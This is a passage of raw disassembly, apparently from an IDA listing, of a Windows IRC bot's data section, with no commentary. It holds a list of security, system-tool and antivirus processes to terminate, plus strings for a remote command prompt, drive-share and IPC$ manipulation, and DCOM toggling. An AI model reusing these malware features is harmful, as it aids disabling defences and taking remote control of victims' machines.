					; DATA XREF: sub_419460:loc_41950Bo
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_419460:loc_4194FDo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_419460:loc_4194C3o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_419460:loc_4194AFo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo
		align 4
dword_439D58	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419594+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439D84	db  2Dh	; -		; DATA XREF: sub_419594+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		dd 6D202D03h, 61737365h, 73206567h, 20746E65h, 63637573h
		dd 66737365h, 796C6C75h
		db    0
		align 4
		dd 7530h
off_439DB0	dd offset aRegedit_exe	; DATA XREF: sub_4196BD+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439EB8
		dd offset dword_439EAC
		dd offset dword_439EA0
		dd offset dword_439E94
		dd offset dword_439E88
		dd offset dword_439E7C
		dd offset dword_439E6C
		dd offset dword_439E60
		dd offset dword_439E54
		dd offset dword_439E48
		dd offset dword_439E3C
		dd offset dword_439E2C
		dd offset dword_439E20
		dd offset dword_439E10
dword_439E10	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BD+ECo
					; ___:00439E0Co
dword_439E20	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439E08o
dword_439E2C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439E04o
dword_439E3C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439E00o
dword_439E48	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DFCo
dword_439E54	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DF8o
dword_439E60	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DF4o
dword_439E6C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439DF0o
dword_439E7C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439DECo
dword_439E88	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439DE8o
dword_439E94	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:00439DE4o
dword_439EA0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439DE0o
dword_439EAC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:00439DDCo
dword_439EB8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439DD8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DD4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DD0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:00439DCCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439DC8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:00439DC4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439DC0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:00439DBCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:00439DB8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:00439DB4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_439DB0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BD+191o
		align 4
unk_439F68	db  2Dh	; -		; DATA XREF: sub_4198EC:loc_419973o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_439F8C	db  2Dh	; -		; DATA XREF: sub_4198EC+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_439FB0	db  2Dh	; -		; DATA XREF: sub_4198EC+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o
unk_439FE0	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419C42o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A010	db  2Dh	; -		; DATA XREF: sub_419B10+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A038	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419BF6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43A068	db  2Dh	; -		; DATA XREF: sub_419C65+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A09C	db  2Dh	; -		; DATA XREF: sub_419C65+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_43A0C0	dd offset dword_43A0F8	; DATA XREF: sub_419E7A+1B3o
					; sub_41A19E+17Ao
		align 8
		dd offset dword_43A0F0
		align 10h
off_43A0D0	dd offset dword_43A0EC	; DATA XREF: sub_41A19E+1E3o
		dd offset off_43A0E8
		dd offset dword_43A0E4
		dd offset off_43A0E0
off_43A0E0	dd offset dword_5C3A44	; DATA XREF: sub_419E7A+217o
					; ___:0043A0DCo
dword_43A0E4	dd 2444h		; DATA XREF: ___:0043A0D8o
off_43A0E8	dd offset byte_5C3A43	; DATA XREF: ___:0043A0D4o
dword_43A0EC	dd 2443h		; DATA XREF: ___:off_43A0D0o
dword_43A0F0	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A0C8o
dword_43A0F8	dd 24435049h, 0		; DATA XREF: ___:off_43A0C0o
dword_43A100	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2E5o
					; sub_41A19E+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A130	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_43A158	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A0DCo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A184	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_43A1A8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A049o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A1D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_43A1F8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FACo
					; sub_41A19E:loc_41A2CCo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A228	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FA5o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A264	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419F87o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43A298	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo
					; sub_41A19E+EDo
		align 4
dword_43A2E8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+91o
					; sub_41A19E+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A318	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E7A:loc_419EE7o
		dd 62617369h, 2E64656Ch, 0
dword_43A338	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E7A+54o
					; sub_41A19E+54o
		align 4
dword_43A368	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19E+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19E+219o
dword_43A398	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A33Do
					; sub_41A19E:loc_41A40Eo
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A3C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+198o
					; sub_41A19E+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A3E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2C5o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A41C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2A7o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A454	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A494	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19E:loc_41A20Bo
		dd 6C62616Eh, 2E6465h
dword_43A4B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A508	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AF+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AF+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AF+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AF+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AF+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AF+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AF+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AF+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AF+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AF+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AF+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AF+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AF+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AF+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AF+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AF+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AF+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AF+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AF+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AF+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AF+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AF+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88C+52o
dword_43A720	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA43+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A7FC	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA43+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA43+EBo
dword_43A828	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF7+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A86C	dd offset word_412F4E	; DATA XREF: sub_41ACF7:loc_41AD63o
off_43A870	dd offset dword_4E414C	; DATA XREF: sub_41ACF7:loc_41AD59o
dword_43A874	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF7+5Bo
dword_43A87C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF7+48o
unk_43A88C	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF6Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A8BC	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF68o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A8E8	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB6+1A0o
		dd 4C525520h, 2Eh
unk_43A904	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF49o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A940	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB6+18Co
		dd 64657469h, 2Eh
dword_43A95C	dd 2A2F2Ah		; DATA XREF: sub_41ADB6+3Bo
dword_43A960	dd 62536D64h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A970	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A97C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A988	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A98C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A9A0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A9A4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A9B0	dd offset off_43A9B0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A9B4	dd offset off_43A9B0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A9C8
		dd offset dword_43A9C8
dword_43A9C0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A9C8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A9B8o
					; ___:0043A9BCo
off_43C9D0	dd offset off_43A9B0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C9D4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C9D8	dd offset word_43C9E2	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C9DC	dd offset word_43C9E2	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C9E2	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C9D8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43CBE4	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43CBE8	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43CBF0	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43CBF4	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43CBF8	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43CC00	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43CC04	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43CC10	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCF0	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43CCF4	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43CE58	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43CE60	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43CE68	dd 14h			; DATA XREF: sub_421624+2o
off_43CE6C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427870h, 1Ah, 42C964h, 1Bh, 427868h, 1Fh, 427860h
		dd 13h,	427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h
		dd 0Fh,	427838h, 10h, 427830h, 5, 427828h, 1Eh,	427824h
		dd 12h,	427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch
		dd 15h,	427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh
		dd 18h,	4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h
		dd 23h,	4277CCh, 24h, 4277C8h
dbl_43CF40	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43CF50	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43CF68	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43CF74	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43CF80	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43CF84	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43CF88	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43CF8C	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43CF90	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43CF94	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43CFA4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43CFA8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43CFAC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D020	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43D024	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43D028	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43D02C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43D030	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43D038	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43D03C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B8Ch, 9, 427B60h, 0Ah,	427B3Ch, 10h, 427B10h
		dd 11h,	427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h
		dd 19h,	427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h
		dd 78h,	427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F14h
		dd 0FFh, 427958h
off_43D0C8	dd offset dword_4DBC80	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DBC80
		dd 101h
dword_43D0D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43D0E8	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D108	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D138	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43D348	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43D350	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43D358	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43D370	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D388	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43D38C	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43D390	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43D394	dd offset dword_545350	; DATA XREF: ___:off_43D414o
		dd 0Fh dup(0)
off_43D3D4	dd offset dword_544450	; DATA XREF: ___:off_43D418o
		dd 0Fh dup(0)
off_43D414	dd offset off_43D394	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43D418	dd offset off_43D3D4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43D420	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43D424	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43D428	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43D430	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43D434	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43D438	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43D43C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43D46C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43D470	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43D4A8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
